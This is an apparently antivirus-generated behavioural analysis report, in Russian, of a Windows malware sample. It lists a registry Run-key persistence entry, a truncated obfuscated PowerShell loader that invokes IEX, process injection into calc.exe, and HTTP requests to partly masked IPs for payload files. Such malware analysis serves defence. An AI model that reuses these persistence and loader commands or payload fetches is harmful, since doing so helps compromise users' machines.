Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%APPDATA%\vbc.vbs '
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\vbc.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\vbc.vbs '
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$hdhd6464huirmkwjwhe76464hfhf=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,1...
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\calc.exe
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\vbc.vbs
- %APPDATA%\logsmm.dat
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\logsmm.dat
Сетевая активность
TCP
Запросы HTTP GET
- http://18#.#1.146.210/private/windws.vbs
- http://78.##8.92.24/ddhv/Attack.jpg
UDP
- DNS ASK dd##.##ivatethings.xyz
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$hdhd6464huirmkwjwhe76464hfhf=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,1...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\vbc.vbs '' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\calc.exe'
